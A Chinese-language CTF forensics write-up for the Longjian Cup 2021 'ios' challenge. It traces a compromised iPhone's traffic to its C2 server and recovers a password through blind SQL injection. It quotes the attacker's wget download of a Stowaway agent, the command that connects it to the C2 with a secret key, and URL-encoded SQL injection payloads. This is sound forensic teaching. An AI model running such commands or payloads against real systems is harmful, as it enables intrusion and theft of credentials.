[陇剑杯 2021]ios
案情背景一位ios的安全研究员在家中使用手机联网被黑不仅被窃密还丢失比特币若干请你通过流量和日志分析后作答第一问黑客所控制的CC服务器IP是_____________。CC服务器是控制网络中的恶意软件或者僵尸网络的服务器通常由黑客或攻击者控制用于发送指令给已经感染的计算机或设备以执行各种恶意活动例如传播病毒、发起分布式拒绝服务DDos攻击、窃取个人信息等要确定CC服务器IP即是被感染设备用户ios手机主动通信的外部公网IP首先筛选http可以看见传输的明文内容用户IP通常为192.168.x.x网段然后找与之通信的非内网ip找到3.128.156.159发现./ios_agent -c 3.128.156.159:8081 -s hack4sec发现在对应的通信内容中包含恶意标示-s hack4sec在流量中还有其他的IP我简单分析了一下其他的IP101.206.202.230是b站的官方域名123.6.7.66 属于国内运营商的合法IP对应的是正规web服务221.204.188.242流量中显示GET /bfs/static/ios-download/...请求 CSS、JS、图片文件bfs是 B 站的静态资源存储服务类似 CDN用于分发应用下载所需的前端资源219.155.151.181同样是 B 站的服务器负责接收用户的行为日志所以黑客所控制的CC服务器IP是3.128.156.159第二问黑客利用的Github开源项目的名字是______。在和CC服务器IP通信的流量包可以看见请求的具体命令wget https://github.com/ph4nt0m/Stowaway/releases/download/1.6.2/ios_agent chmod 755 ios_agent通过查找资料知道这条命令是从Github下载指定项目的文件github.com/[项目作者]/[项目名]/... 是 Github 仓库的标准格式所以黑客利用的Github开源项目的名字是Stowaway第三问通讯加密密钥的明文是____________。回到第一题发现的./ios_agent -c 3.128.156.159:8081 -s hack4sec./ios_agent 执行当前目录下 Stowaway项目的IOS端可执行程序可能是恶意代理-c 是connect缩写表示连接黑客CC服务器IP-s 是secret缩写表示密钥所有后面的hack4sec表示预共享密钥所以通讯加密密钥的明文是hack4sec第四问黑客通过SQL盲注拿到了一个敏感数据内容是____________。SQL盲注是SQL注入的一种特殊形式页面不直接返回数据库查询结果黑客通过构造SQL语句观察页面的响应差异是否正常显示、响应时间来盲猜数据库中的敏感信息SQL盲注是通过HTTPS/HTTP2传输的默认用TLS加密所以原始流量包显示的是加密后的二进制数据通过TLS解密后才能把加密的流量还原成明文的HTTP请求/响应看见黑客完整的SQL盲注语句和窃取的敏感数据也可以直观在没有解密前看见流量包的协议有很多显示TLSv1.2/TLSv1.3” 的条目点击编辑-首选项在protocols中找到TLS协议选择keylog.txt文件点击ok筛选目标设备192.168.1.8被黑的ios设备ip的流量黑客的SQL盲注操作是通过http和http2请求传输的所以在筛选所有的http和http2流然后再搜索select作为SQL查询的关键字可以快速定位到黑客盲注语句正常请求的SQL语句不会直接暴露在HTTP流量中黑客的恶意注入会将SELECT等关键字写在请求参数里可以很容易找到黑客的盲注语句如下GET /info?l1o%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222B%22_then_id_else_col1_end%29, WINDOW_UPDATE[1]url解码一下得到GET /info?l1o(case_when_(select_hex(substr(password,1,1))_from_user)2B_then_id_else_col1_end), WINDOW_UPDATE[1]这是黑客构造的HTTP GET请求加上SQL布尔盲注黑客把恶意SQL语句嵌套在HTTP请求的o参数中简单分析一下这个恶意语句case when 条件 then a else b end SQL条件判断函数若条件为真返回A为假返回B在这里为条件真返回id字段的值为假返回col1字段的值SELECT ... FROM user 从名为user的数据库中查询数据user中通常储存用户账号、密码等敏感信息substr(password,2,1) substr是字符串截取函数第一个参数password表示要截取的字段第二个参数2表示从第2个字符开始截取第三个参数1表示只截取1个字符hex... 将截取到的字符转换为十六进制编码 “2B” 判断截取的字符的十六进制是否等于2B我们直接分析找到的大量盲注语句发现条件语句中首先尝试的判断第一位(password11)是否是2B而后一直尝试2D、7B、7D、30、31、32、33、34、35、36、37再看下一行password(2,1)表示截取第2个字符截取1个字符里面表示第一个字符已经被猜出来了就是37同时又从2B开始才在网上找到了一张更直观的图所以我们可以通过盲注得到37 34 36 35 35 38 66 33 2D 63 38 34 31 2D 34 35 36 62 2D 38 35 64 37 2D 64 36 63 30 66 32 65 64 61 62 62 32 5A 5A 5A 6A得到746558f3-c841-456b-85d7-d6c0f2edabb2ZZZj结尾连续3个Z考虑到盲注可能猜完password最后一个有效字符后继续尝试下一个字符位可能会返回空值或者默认字符同时删去ZZZj后符合UUID格式的有效字符串格式32个十六进制字符格式为8-4-4-4-12的分组结构应当截断黑客通过SQL盲注拿到了一个敏感数据内容是746558f3-c841-456b-85d7-d6c0f2edabb2

相关新闻

南京大学计算机保研夏令营笔试面试全攻略:408核心考点与实战技巧

南京大学计算机保研夏令营笔试面试全攻略:408核心考点与实战技巧

1. 项目概述:一份来自亲历者的“通关秘籍”又到了一年一度保研夏令营的冲刺季,对于志在南京大学计算机相关专业的同学来说,手握一份详实、可靠的笔试面试经验,无异于在迷雾中点亮了一盏明灯。这份“2021/2022南京大学计算机夏令营…

2026/8/26 11:58:16 阅读更多 →
南大CS夏令营通关指南:笔试面试真题解析与备战策略

南大CS夏令营通关指南:笔试面试真题解析与备战策略

1. 项目概述:一份来自亲历者的南大CS夏令营通关实录又到了一年一度保研夏令营的申请季,后台和私信里关于如何准备顶尖高校计算机专业夏令营的咨询又多了起来。回想起两年前自己备战南京大学计算机科学与技术系夏令营的那段日子,从海投简历的忐…

2026/8/26 11:58:45 阅读更多 →
从微信朋友圈测试用例设计,看测试工程师的系统思维与实战能力

从微信朋友圈测试用例设计,看测试工程师的系统思维与实战能力

1. 项目概述:从一道面试题看测试工程师的核心能力最近帮朋友公司面试测试工程师,发现一个挺有意思的现象:很多候选人简历上项目经验写得天花乱坠,但一碰到“写一个微信朋友圈的测试用例”这种看似基础的题目,要么思路混…

2026/8/25 10:10:59 阅读更多 →

最新新闻

Python os.system()函数深度解析:从基础原理到安全实践

Python os.system()函数深度解析:从基础原理到安全实践

1. 项目概述:为什么OS库的system函数值得深挖? 如果你刚开始学Python,可能觉得 os.system() 这个函数平平无奇——不就是用来执行一条系统命令吗?敲个 os.system(‘dir’) 或者 os.system(‘ls’) ,屏幕上刷刷刷…

2026/8/26 12:33:58 阅读更多 →
CentOS 7上Oracle 19c图形化安装全流程详解与避坑指南

CentOS 7上Oracle 19c图形化安装全流程详解与避坑指南

1. 项目缘起:为什么在CentOS 7上图形化安装Oracle 19c仍有价值?最近在整理一些遗留系统的迁移方案,又遇到了一个老伙计:Oracle 19c。虽然现在云原生、容器化是主流,但不可否认,仍有大量核心业务系统运行在传…

2026/8/26 12:33:58 阅读更多 →
Windows平台Allure测试报告:从零安装到CI/CD集成实战指南

Windows平台Allure测试报告:从零安装到CI/CD集成实战指南

1. 项目概述:为什么我们需要Allure报告? 如果你在Windows环境下做过自动化测试,尤其是接口或UI自动化,那么对着一堆密密麻麻的控制台日志和简单的HTML报告,肯定有过“头大”的时刻。测试用例是跑完了,但结果…

2026/8/26 12:33:58 阅读更多 →
硬件工程师实战指南:从EMI/ESD防护到PCB设计,解决高频干扰与信号完整性难题

硬件工程师实战指南:从EMI/ESD防护到PCB设计,解决高频干扰与信号完整性难题

1. 项目概述:硬件工程师的日常“战场”“硬件新问答”这个标题,乍一看像是一个论坛版块或者知识集锦,但对我们这些泡在实验室、画板子、调信号、跟各种电磁干扰(EMI)和静电放电(ESD)死磕的硬件工…

2026/8/26 12:33:57 阅读更多 →
工业级下料优化:从深圳杯B题到数控切割落地实践

工业级下料优化:从深圳杯B题到数控切割落地实践

1. 这不是一份“标准答案”,而是一套可复现、可调试、可迁移的工业下料实战方案 2024年深圳杯数学建模B题——“批量工件并行切割下料问题”,表面看是个典型的组合优化题,但真正跑通它的人不到参赛队伍的15%。我带过三届深圳杯集训队&#xf…

2026/8/26 12:33:57 阅读更多 →
基于3D CNN与FastAPI的阿尔兹海默MRI智能诊断系统全解析

基于3D CNN与FastAPI的阿尔兹海默MRI智能诊断系统全解析

简介:医学影像与深度学习的结合,正在让AI辅助诊断从论文走向临床实践。理解3D卷积神经网络(3D CNN)的原理,是处理MRI这类三维体积数据的关键——它通过深度维度的卷积核保留空间上下文,捕捉海马体萎缩等立体…

2026/8/26 12:32:57 阅读更多 →

日新闻

Python random 模块常用函数详解:从入门到实战

Python random 模块常用函数详解:从入门到实战

目录 1. 引言2. 准备工作3. 基础随机函数4. 序列相关函数5. 随机种子与复现6. 实战案例7. 注意事项8. 常见问题与排查9. 总结 1. 引言 摘要: 本文系统介绍 Python 标准库 random 模块中最常用的随机数生成函数。内容涵盖基础随机函数(random()、unifor…

2026/8/26 0:00:40 阅读更多 →
《Microsoft Sql server 2008 Internals》读书笔记--第三章Databases and Database Files(2)

《Microsoft Sql server 2008 Internals》读书笔记--第三章Databases and Database Files(2)

《Microsoft Sql server 2008 Internals》索引目录: 《Microsoft Sql server 2008 Internals》读书笔记--目录索引 在上篇文章中,主要介绍了创建数据库的基本语法和FileGroup的初步知识。需要注意的是: 关于FileGroup 如果你的系统是用Raid设备直接存…

2026/8/26 1:18:18 阅读更多 →
政务AI智能体怎么建?三种模式、三步路径与四个误区

政务AI智能体怎么建?三种模式、三步路径与四个误区

政务AI智能体已经从概念试点阶段,转入了政务服务的常态化落地应用;在实际使用过程中,它能自主理解办事需求、辅助完成填报申报、开展材料预审,并联动多个系统协同作业,真正嵌入到政务办理的全流程当中。但在落地推进过…

2026/8/26 1:18:18 阅读更多 →

周新闻

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

2026/8/25 3:38:12 阅读更多 →
SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

2026/8/25 3:38:18 阅读更多 →
Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

2026/8/25 3:38:23 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/26 3:50:20 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/25 10:31:12 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/26 1:24:05 阅读更多 →